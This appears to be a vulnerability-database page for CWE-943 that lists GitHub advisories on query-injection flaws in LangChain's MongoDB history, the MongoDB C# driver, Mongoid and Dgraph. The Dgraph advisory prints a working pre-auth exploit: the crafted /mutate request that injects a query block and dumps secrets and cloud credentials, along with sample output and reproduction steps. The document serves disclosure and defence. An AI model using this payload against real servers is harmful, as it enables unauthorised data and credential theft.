Common Weakness Enumeration

CWE-943

Allowed-with-Review

Improper Neutralization of Special Elements in Data Query Logic

Abstraction: Class · Status: Incomplete

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

231 vulnerabilities reference this CWE, most recent first.

GHSA-M6RX-H84Q-8R95

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52
VLAI
Summary
LangChain: MongoDBChatMessageHistory query injection can allow cross-session access
Details

Impact

MongoDBChatMessageHistory did not enforce the documented string type for session identifiers at runtime. In affected applications, a structured session identifier could be interpreted as a MongoDB query condition rather than as a literal identifier.

Applications are affected when they pass untrusted session identifier input to MongoDBChatMessageHistory and store multiple users’ histories in the same collection. An attacker who can invoke chat-history operations may be able to read, modify, or delete another user’s stored conversation.

Applications that derive the session identifier from an authenticated, server-controlled value and enforce its type are not affected by this path.

Patches

The issue is fixed in @langchain/mongodb version 1.3.1.

Users of affected versions should upgrade to version 1.3.1 or later. The patched version validates session identifiers at runtime and ensures they are compared as literal values in MongoDB queries.

Workarounds

If an immediate upgrade is not possible, applications must reject session identifiers that are not non-empty strings. Session identifiers should be derived from an authenticated, server-controlled value and must not be passed directly from an untrusted request field.

Upgrading remains the recommended remediation.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@langchain/mongodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:22Z",
    "nvd_published_at": "2026-10-06T19:17:42Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\n`MongoDBChatMessageHistory` did not enforce the documented string type for session identifiers at runtime. In affected applications, a structured session identifier could be interpreted as a MongoDB query condition rather than as a literal identifier.\n\nApplications are affected when they pass untrusted session identifier input to `MongoDBChatMessageHistory` and store multiple users\u2019 histories in the same collection. An attacker who can invoke chat-history operations may be able to read, modify, or delete another user\u2019s stored conversation.\n\nApplications that derive the session identifier from an authenticated, server-controlled value and enforce its type are not affected by this path.\n\n## Patches\n\nThe issue is fixed in `@langchain/mongodb` version **1.3.1**.\n\nUsers of affected versions should upgrade to version 1.3.1 or later. The patched version validates session identifiers at runtime and ensures they are compared as literal values in MongoDB queries.\n\n## Workarounds\n\nIf an immediate upgrade is not possible, applications must reject session identifiers that are not non-empty strings. Session identifiers should be derived from an authenticated, server-controlled value and must not be passed directly from an untrusted request field.\n\nUpgrading remains the recommended remediation.",
  "id": "GHSA-m6rx-h84q-8r95",
  "modified": "2026-10-08T17:52:22Z",
  "published": "2026-10-08T17:52:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchainjs/security/advisories/GHSA-m6rx-h84q-8r95"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106119"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchainjs/pull/11672"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchainjs/commit/946e3d856ff1f8ce7f7b9374c83f680a6ada79af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langchainjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchainjs/releases/tag/@langchain/mongodb@1.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LangChain: MongoDBChatMessageHistory query injection can allow cross-session access"
}

GHSA-M8P4-WMG5-P4X3

Vulnerability from github – Published: 2026-09-10 18:31 – Updated: 2026-09-10 18:31
VLAI
Details

Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C# Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-88025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T18:18:12Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C# Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.",
  "id": "GHSA-m8p4-wmg5-p4x3",
  "modified": "2026-09-10T18:31:48Z",
  "published": "2026-09-10T18:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88025"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/CSHARP-6190"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MM58-QXPF-V4C7

Vulnerability from github – Published: 2026-09-18 18:31 – Updated: 2026-09-18 18:31
VLAI
Details

Mongoid does not restrict which query operators may come from caller-supplied filter data when an application hands that data to its query-building methods. In an application that forwards externally supplied filter parameters in this way, a party with no credentials may influence how the database evaluates the query. This may result in unintended disclosure of stored field values and in reduced database performance.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-93760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T18:18:34Z",
    "severity": "HIGH"
  },
  "details": "Mongoid does not restrict which query operators may come from caller-supplied filter data when an application hands that data to its query-building methods. In an application that forwards externally supplied filter parameters in this way, a party with no credentials may influence how the database evaluates the query. This may result in unintended disclosure of stored field values and in reduced database performance.",
  "id": "GHSA-mm58-qxpf-v4c7",
  "modified": "2026-09-18T18:31:44Z",
  "published": "2026-09-18T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93760"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/MONGOID-5994"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MRXX-39G5-PH77

Vulnerability from github – Published: 2026-04-24 15:41 – Updated: 2026-05-04 20:08
VLAI
Summary
Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field
Details

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack is a single HTTP POST to /mutate?commitNow=true containing a crafted cond field in an upsert mutation. The cond value is concatenated directly into a DQL query string via strings.Builder.WriteString after only a cosmetic strings.Replace transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the cond string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.

There are no credentials involved. When ACL is disabled (the default), the /mutate endpoint requires no authentication. The authorizeQuery and authorizeMutation functions both return nil immediately when AclSecretKey is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.

POC clip:

https://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Metric Value Rationale
Attack Vector Network HTTP POST to port 8080
Attack Complexity Low Single request, no special conditions beyond default config
Privileges Required None No authentication when ACL is disabled (default)
User Interaction None Fully automated
Scope Unchanged Stays within the Dgraph data layer
Confidentiality High Full database exfiltration: all nodes, all predicates, all values
Integrity High The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic
Availability None No denial of service

3. Vulnerability Summary

Field Value
Title Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations
Type Injection
CWE CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS 9.8

4. Target Information

Field Value
Project Dgraph
Repository https://github.com/dgraph-io/dgraph
Tested version v25.3.0
HTTP handler dgraph/cmd/alpha/http.go line 345 (mutationHandler)
Cond extraction dgraph/cmd/alpha/http.go line 413 (strconv.Unquote)
Cond passthrough edgraph/server.go line 2011 (ParseMutationObject, copies mu.Cond verbatim)
Injection sink edgraph/server.go line 750 (upsertQB.WriteString(cond))
Only transformation edgraph/server.go line 730 (strings.Replace(gmu.Cond, "@if", "@filter", 1))
Auth bypass (query) edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil)
Auth bypass (mutate) edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil)
Response exfiltration dgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json))
HTTP port 8080 (default)
Prerequisite None. Default configuration. ACL disabled is the default.

5. Test Environment

Component Version / Details
Host OS macOS (darwin 25.3.0)
Dgraph v25.3.0 via dgraph/dgraph:latest Docker image
Docker Compose 1 Zero + 1 Alpha, default config, --security whitelist=0.0.0.0/0
Python 3.x with requests
Network localhost (127.0.0.1)

6. Vulnerability Detail

Location: edgraph/server.go lines 714-757 (buildUpsertQuery) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON bodies containing a mutations array. Each mutation can include a cond field, intended for conditional upserts with syntax like @if(eq(name, "Alice")). This condition is supposed to be spliced into the DQL query as a @filter clause on a dummy var(func: uid(0)) block.

The handler at http.go:413 extracts the cond value via strconv.Unquote, which interprets \n as actual newlines but performs no sanitization:

mu.Cond, err = strconv.Unquote(string(condText.bs))

ParseMutationObject at server.go:2011 copies it verbatim:

res := &dql.Mutation{Cond: mu.Cond}

buildUpsertQuery at server.go:730 applies one cosmetic replacement then concatenates the raw string directly into the DQL query:

cond := strings.Replace(gmu.Cond, "@if", "@filter", 1)
// ...
x.Check2(upsertQB.WriteString(cond))

There is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.

An attacker crafts a cond value that closes the @filter(...) clause and opens an entirely new named query block:

@if(eq(name, "nonexistent"))
  leak(func: has(dgraph.type)) { uid name email secret }

After buildUpsertQuery processes this, the resulting DQL is:

{
  q(func: uid(0x1)) { uid }
  __dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, "nonexistent"))
  leak(func: has(dgraph.type)) { uid name email secret }
}

The DQL parser (dql.ParseWithNeedVars) accepts multiple query blocks within a single {} container. It parses leak(...) as a legitimate named query. The validateResult function at parser.go:740 only checks for duplicate aliases and explicitly skips var queries. The injected query uses a unique alias, so validation passes.

All three queries execute. The results of the injected leak block are serialized to JSON and returned to the attacker at http.go:498:

mp["queries"] = json.RawMessage(resp.Json)

The @if condition evaluates to false ("nonexistent" matches nothing), so the set mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker sends one HTTP request:

POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{
  "query": "{ q(func: uid(0x1)) { uid } }",
  "mutations": [{
    "set": [{"uid": "0x1", "dgraph.type": "Dummy"}],
    "cond": "@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }"
  }]
}

No X-Dgraph-AccessToken header. No X-Dgraph-AuthToken header. The /mutate endpoint has no authentication wrapper in default configuration.

Step 2. mutationHandler at http.go:345 calls readRequest to get the body, then extractMutation which calls strconv.Unquote on the cond field. The \n becomes a real newline. The result is stored in api.Mutation.Cond.

Step 3. The request enters edgraph.Server.QueryNoGrpc at http.go:471, which calls doQuery -> parseRequest -> ParseMutationObject. The Cond is copied verbatim to dql.Mutation.Cond at server.go:2011.

Step 4. buildUpsertQuery at server.go:714 processes the condition. The only transformation is strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730. The full string, including the injected leak(...) block, is written into the query builder at line 750.

Step 5. dql.ParseWithNeedVars parses the constructed DQL string. It encounters three query blocks: q, the upsert check var, and the injected leak. All three are accepted as valid DQL.

Step 6. authorizeQuery at access.go:958 returns nil immediately because AclSecretKey == nil (ACL not configured). No predicate-level authorization is performed.

Step 7. processQuery executes all three query blocks. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 8. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates, including secrets, credentials, and PII.

8. Proof of Concept

Files

File Purpose
report.md This vulnerability report
poc.py Exploit: sends the injection and prints leaked data
docker-compose.yml Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config)
DGraphPreAuthDQL.mp4 Screen recording of the full attack from start to exfiltration

POC files zip: LEAD_001_DQL.zip

poc.py

The exploit sends a single POST to /mutate?commitNow=true with the crafted cond field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.

Tested Output

$ python3 poc.py
[*] Sending crafted upsert mutation with DQL injection in cond field …
[*] HTTP 200
[+] SUCCESS — Injected query returned 5 node(s):

  [User] uid=0x1
    name: Alice Admin
    email: alice@corp.com
    secret: SSN-123-45-6789
    role: admin

  [User] uid=0x2
    name: Bob User
    email: bob@corp.com
    secret: SSN-987-65-4321
    role: user

  [User] uid=0x3
    name: Eve Secret
    email: eve@corp.com
    secret: API_KEY_sk-live-abc123xyz
    role: superadmin

  [CloudCredential] uid=0x4
    name: prod-aws-credentials
    AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
    AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

  [CloudCredential] uid=0x5
    name: gcp-bigquery-service-account
    GCP_SERVICE_ACCOUNT_KEY: {"type":"service_account","project_id":"prod-analytics","private_key":"-----BEGI…

[+] CRITICAL — Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection
    → 1 AWS credential(s) — attacker can access AWS account
    → 1 GCP service account key(s) — attacker can access GCP project

9. Steps to Reproduce

Prerequisites

  • Python 3 with requests (pip install requests)
  • Docker and Docker Compose

Step 1: Start Dgraph

cd report
docker compose -f docker-compose-test.yml up -d

Wait for health:

curl http://localhost:8080/health

Step 2: Seed test data

curl -s -X POST http://localhost:8080/alter -d '
name: string @index(exact) .
email: string @index(exact) .
secret: string .
role: string .
aws_access_key_id: string .
aws_secret_access_key: string .
gcp_service_account_key: string .
'

curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"User","name":"Alice Admin","email":"alice@corp.com","secret":"SSN-123-45-6789","role":"admin"},
    {"dgraph.type":"User","name":"Bob User","email":"bob@corp.com","secret":"SSN-987-65-4321","role":"user"},
    {"dgraph.type":"User","name":"Eve Secret","email":"eve@corp.com","secret":"API_KEY_sk-live-abc123xyz","role":"superadmin"},
    {"dgraph.type":"CloudCredential","name":"prod-aws-credentials","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"},
    {"dgraph.type":"CloudCredential","name":"gcp-bigquery-service-account","gcp_service_account_key":"{\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nEXAMPLEKEY\\n-----END RSA PRIVATE KEY-----\",\"client_email\":\"bigquery@prod-analytics.iam.gserviceaccount.com\"}"}
  ]}'

Step 3: Run the exploit

cd LEAD_001_DQL
python3 poc.py

What to verify

  1. HTTP POST returns 200 (endpoint is reachable without auth)
  2. Response contains data.queries.leak with an array of nodes
  3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)
  4. No data was modified in the database (the @if condition prevents the set from executing)

10. Mitigations and Patch

Location: edgraph/server.go, buildUpsertQuery (line 714)

Instead of concatenating the raw cond string into the DQL query, buildUpsertQuery should parse the cond value with the DQL lexer and construct the @filter as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v24"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "24.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:41:21Z",
    "nvd_published_at": "2026-04-24T19:17:12Z",
    "severity": "CRITICAL"
  },
  "details": "## 1. Executive Summary\n\nA vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph\u0027s default configuration where ACL is not enabled.\n\nThe attack is a single HTTP POST to `/mutate?commitNow=true` containing a crafted `cond` field in an upsert mutation. The `cond` value is concatenated directly into a DQL query string via `strings.Builder.WriteString` after only a cosmetic `strings.Replace` transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the `cond` string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.\n\nThere are no credentials involved. When ACL is disabled (the default), the `/mutate` endpoint requires no authentication. The `authorizeQuery` and `authorizeMutation` functions both return `nil` immediately when `AclSecretKey` is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.\n\nPOC clip: \n\nhttps://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2\n\n\n\n## 2. CVSS Score\n\n**CVSS 3.1: 9.1 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\n| Metric              | Value     | Rationale                                                                          |\n| ------------------- | --------- | ---------------------------------------------------------------------------------- |\n| Attack Vector       | Network   | HTTP POST to port 8080                                                             |\n| Attack Complexity   | Low       | Single request, no special conditions beyond default config                        |\n| Privileges Required | None      | No authentication when ACL is disabled (default)                                   |\n| User Interaction    | None      | Fully automated                                                                    |\n| Scope               | Unchanged | Stays within the Dgraph data layer                                                 |\n| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                  |\n| Integrity           | High      | The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic |\n| Availability        | None      | No denial of service                                                               |\n\n## 3. Vulnerability Summary\n\n| Field     | Value                                                                                      |\n| --------- | ------------------------------------------------------------------------------------------ |\n| Title     | Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations                      |\n| Type      | Injection                                                                                  |\n| CWE       | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)                  |\n| CVSS      | 9.8                                                                                        |\n\n## 4. Target Information\n\n| Field                | Value                                                                                          |\n| -------------------- | ---------------------------------------------------------------------------------------------- |\n| Project              | Dgraph                                                                                         |\n| Repository           | https://github.com/dgraph-io/dgraph                                                           |\n| Tested version       | v25.3.0                                                                                        |\n| HTTP handler         | `dgraph/cmd/alpha/http.go` line 345 (`mutationHandler`)                                       |\n| Cond extraction      | `dgraph/cmd/alpha/http.go` line 413 (`strconv.Unquote`)                                       |\n| Cond passthrough     | `edgraph/server.go` line 2011 (`ParseMutationObject`, copies `mu.Cond` verbatim)              |\n| Injection sink       | `edgraph/server.go` line 750 (`upsertQB.WriteString(cond)`)                                   |\n| Only transformation  | `edgraph/server.go` line 730 (`strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)`)               |\n| Auth bypass (query)  | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`)         |\n| Auth bypass (mutate) | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`)      |\n| Response exfiltration| `dgraph/cmd/alpha/http.go` line 498 (`mp[\"queries\"] = json.RawMessage(resp.Json)`)            |\n| HTTP port            | 8080 (default)                                                                                 |\n| Prerequisite         | None. Default configuration. ACL disabled is the default.                                      |\n\n## 5. Test Environment\n\n| Component            | Version / Details                                               |\n| -------------------- | --------------------------------------------------------------- |\n| Host OS              | macOS (darwin 25.3.0)                                           |\n| Dgraph               | v25.3.0 via `dgraph/dgraph:latest` Docker image                |\n| Docker Compose       | 1 Zero + 1 Alpha, default config, `--security whitelist=0.0.0.0/0` |\n| Python               | 3.x with `requests`                                            |\n| Network              | localhost (127.0.0.1)                                           |\n\n## 6. Vulnerability Detail\n\n**Location:** `edgraph/server.go` lines 714-757 (`buildUpsertQuery`)\n**CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\nThe `/mutate` endpoint accepts JSON bodies containing a `mutations` array. Each mutation can include a `cond` field, intended for conditional upserts with syntax like `@if(eq(name, \"Alice\"))`. This condition is supposed to be spliced into the DQL query as a `@filter` clause on a dummy `var(func: uid(0))` block.\n\nThe handler at `http.go:413` extracts the `cond` value via `strconv.Unquote`, which interprets `\\n` as actual newlines but performs no sanitization:\n\n```go\nmu.Cond, err = strconv.Unquote(string(condText.bs))\n```\n\n`ParseMutationObject` at `server.go:2011` copies it verbatim:\n\n```go\nres := \u0026dql.Mutation{Cond: mu.Cond}\n```\n\n`buildUpsertQuery` at `server.go:730` applies one cosmetic replacement then concatenates the raw string directly into the DQL query:\n\n```go\ncond := strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)\n// ...\nx.Check2(upsertQB.WriteString(cond))\n```\n\nThere is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.\n\nAn attacker crafts a `cond` value that closes the `@filter(...)` clause and opens an entirely new named query block:\n\n```\n@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid name email secret }\n```\n\nAfter `buildUpsertQuery` processes this, the resulting DQL is:\n\n```dql\n{\n  q(func: uid(0x1)) { uid }\n  __dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid name email secret }\n}\n```\n\nThe DQL parser (`dql.ParseWithNeedVars`) accepts multiple query blocks within a single `{}` container. It parses `leak(...)` as a legitimate named query. The `validateResult` function at `parser.go:740` only checks for duplicate aliases and explicitly skips `var` queries. The injected query uses a unique alias, so validation passes.\n\nAll three queries execute. The results of the injected `leak` block are serialized to JSON and returned to the attacker at `http.go:498`:\n\n```go\nmp[\"queries\"] = json.RawMessage(resp.Json)\n```\n\nThe `@if` condition evaluates to false (`\"nonexistent\"` matches nothing), so the `set` mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.\n\n## 7. Full Chain Explanation\n\nThe attacker has no Dgraph credentials and no prior access to the server.\n\n**Step 1.** The attacker sends one HTTP request:\n\n```\nPOST /mutate?commitNow=true HTTP/1.1\nHost: TARGET:8080\nContent-Type: application/json\n\n{\n  \"query\": \"{ q(func: uid(0x1)) { uid } }\",\n  \"mutations\": [{\n    \"set\": [{\"uid\": \"0x1\", \"dgraph.type\": \"Dummy\"}],\n    \"cond\": \"@if(eq(name, \\\"nonexistent\\\"))\\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }\"\n  }]\n}\n```\n\nNo `X-Dgraph-AccessToken` header. No `X-Dgraph-AuthToken` header. The `/mutate` endpoint has no authentication wrapper in default configuration.\n\n**Step 2.** `mutationHandler` at `http.go:345` calls `readRequest` to get the body, then `extractMutation` which calls `strconv.Unquote` on the `cond` field. The `\\n` becomes a real newline. The result is stored in `api.Mutation.Cond`.\n\n**Step 3.** The request enters `edgraph.Server.QueryNoGrpc` at `http.go:471`, which calls `doQuery` -\u003e `parseRequest` -\u003e `ParseMutationObject`. The `Cond` is copied verbatim to `dql.Mutation.Cond` at `server.go:2011`.\n\n**Step 4.** `buildUpsertQuery` at `server.go:714` processes the condition. The only transformation is `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730. The full string, including the injected `leak(...)` block, is written into the query builder at line 750.\n\n**Step 5.** `dql.ParseWithNeedVars` parses the constructed DQL string. It encounters three query blocks: `q`, the upsert check `var`, and the injected `leak`. All three are accepted as valid DQL.\n\n**Step 6.** `authorizeQuery` at `access.go:958` returns `nil` immediately because `AclSecretKey == nil` (ACL not configured). No predicate-level authorization is performed.\n\n**Step 7.** `processQuery` executes all three query blocks. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields.\n\n**Step 8.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates, including secrets, credentials, and PII.\n\n## 8. Proof of Concept\n\n### Files\n\n| File                    | Purpose                                                    |\n| ----------------------- | ---------------------------------------------------------- |\n| report.md               | This vulnerability report                                  |\n| poc.py                  | Exploit: sends the injection and prints leaked data        |\n| docker-compose.yml      | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) |\n| DGraphPreAuthDQL.mp4    | Screen recording of the full attack from start to exfiltration |\n\nPOC files zip:\n[LEAD_001_DQL.zip](https://github.com/user-attachments/files/25996009/LEAD_001_DQL.zip)\n\n\n### poc.py\n\nThe exploit sends a single POST to `/mutate?commitNow=true` with the crafted `cond` field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.\n\n### Tested Output\n\n```\n$ python3 poc.py\n[*] Sending crafted upsert mutation with DQL injection in cond field \u2026\n[*] HTTP 200\n[+] SUCCESS \u2014 Injected query returned 5 node(s):\n\n  [User] uid=0x1\n    name: Alice Admin\n    email: alice@corp.com\n    secret: SSN-123-45-6789\n    role: admin\n\n  [User] uid=0x2\n    name: Bob User\n    email: bob@corp.com\n    secret: SSN-987-65-4321\n    role: user\n\n  [User] uid=0x3\n    name: Eve Secret\n    email: eve@corp.com\n    secret: API_KEY_sk-live-abc123xyz\n    role: superadmin\n\n  [CloudCredential] uid=0x4\n    name: prod-aws-credentials\n    AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\n    AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n  [CloudCredential] uid=0x5\n    name: gcp-bigquery-service-account\n    GCP_SERVICE_ACCOUNT_KEY: {\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGI\u2026\n\n[+] CRITICAL \u2014 Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection\n    \u2192 1 AWS credential(s) \u2014 attacker can access AWS account\n    \u2192 1 GCP service account key(s) \u2014 attacker can access GCP project\n```\n\n## 9. Steps to Reproduce\n\n### Prerequisites\n\n- Python 3 with `requests` (`pip install requests`)\n- Docker and Docker Compose\n\n### Step 1: Start Dgraph\n\n```bash\ncd report\ndocker compose -f docker-compose-test.yml up -d\n```\n\nWait for health:\n\n```bash\ncurl http://localhost:8080/health\n```\n\n### Step 2: Seed test data\n\n```bash\ncurl -s -X POST http://localhost:8080/alter -d \u0027\nname: string @index(exact) .\nemail: string @index(exact) .\nsecret: string .\nrole: string .\naws_access_key_id: string .\naws_secret_access_key: string .\ngcp_service_account_key: string .\n\u0027\n\ncurl -s -X POST \u0027http://localhost:8080/mutate?commitNow=true\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"set\":[\n    {\"dgraph.type\":\"User\",\"name\":\"Alice Admin\",\"email\":\"alice@corp.com\",\"secret\":\"SSN-123-45-6789\",\"role\":\"admin\"},\n    